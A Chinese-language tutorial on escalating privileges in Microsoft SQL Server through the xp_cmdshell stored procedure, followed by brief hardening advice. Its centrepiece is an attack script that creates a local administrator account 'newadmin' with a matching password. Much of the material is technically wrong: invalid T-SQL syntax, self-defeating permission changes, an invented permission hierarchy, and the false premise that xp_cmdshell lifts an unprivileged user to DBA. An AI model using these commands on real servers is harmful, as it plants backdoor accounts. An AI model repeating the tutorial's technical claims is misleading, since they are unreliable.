一、MSSQL提权原理简介
在日常的渗透测试中,MSSQL的提权是一个比较重要的环节。利用MSSQL的提权,我们可以将一个普通的无权用户,提升为拥有DBA权限的用户,从而获取更高的权限。下面我们来了解一下MSSQL提权的原理。
1.1 MSSQL权限等级
MSSQL中有三种权限等级:
普通用户
管理员用户
DBA用户
其中最高权限为DBA用户,可以对数据库进行最高级别的管理。
1.2 MSSQL提权原理
在进行MSSQL提权前,我们需要明确一个名词——“xp_cmdshell”,它是MSSQL中的一种特殊存储过程,可以在MSSQL服务器上执行操作系统命令。
因此,MSSQL提权的基本原理就是通过xp_cmdshell执行一些操作系统命令,然后利用这些命令提升目标用户的权限。
二、实战:从无权到DBA权限
接下来,我们将介绍一种通用的MSSQL提权方法——构造xp_cmdshell的方式进行提权。
2.1 获取第一步的信息
在进行xp_cmdshell的构造前,我们需要获取一些信息:
服务器版本:通过这个可以判断我们可用的xp_cmdshell的版本。
现有的权限:知道现有的权限,可以判断我们需要提升的权限等级。
2.2 构造xp_cmdshell
构造xp_cmdshell的具体步骤如下:
判断xp_cmdshell是否可用
select name from sysobjects where xtype='XP' and name='xp_cmdshell'
创建临时表
create table #temp(p varchar(8000))
构造xp_cmdshell
insert into #temp exec xp_cmdshell 'whoami'
检查xp_cmdshell是否创建成功
select * from #temp
2.3 利用xp_cmdshell提权
在成功构造xp_cmdshell后,我们可以使用xp_cmdshell执行一系列操作系统命令,从而获取目标的更高权限。
以下是一个提权攻击的实现脚本:
declare @exec varchar(8000),@tmp varchar(8000)
select @tmp = 'c:\Metasploit\run\temp\'+convert(varchar(100),newid())
exec @exec = 'echo y| copy cmd.exe ' + @tmp
exec master..xp_cmdshell @exec
exec @exec = 'echo y| cacls ' + @tmp + ' /t /e /p everyone:n'
exec master..xp_cmdshell @exec
exec @exec = @tmp + ' /c net user newadmin newadmin /add && net localgroup administrators newadmin /add'
exec master..xp_cmdshell @exec
exec @exec = 'net start spooler'
exec master..xp_cmdshell @exec
以上脚本可以实现以下操作:
在目标服务器上创建一个新用户newadmin,密码为newadmin,将其加入管理员组。
将spooler服务启动,以触发mssqltips.com上提出的一个有趣的bug。
三、提高MSSQL提权的防御能力
为了提高MSSQL的安全性,我们可以进行以下措施:
3.1 禁用xp_cmdshell
xp_cmdshell是MSSQL中的一个特殊存储过程,可以在MSSQL服务器上执行操作系统命令,因此是攻击者进行提权攻击的主要途径之一。禁用xp_cmdshell可以有效地提高MSSQL的安全性。
3.2 给用户设置最小权限
在进行MSSQL使用时,我们应该给用户设置最小权限,并且对用户的操作进行监控,从而防止恶意操作。
3.3 定期更新MSSQL
针对MSSQL的漏洞,官方在每个版本发布时都会进行修复,因此我们可以定期更新MSSQL,从而降低安全风险。
总结
MSSQL提权是渗透测试中比较重要的一个环节,本文介绍了通用的xp_cmdshell提权方法,并且提高了MSSQL提权的防御措施。希望这篇文章对您有所帮助!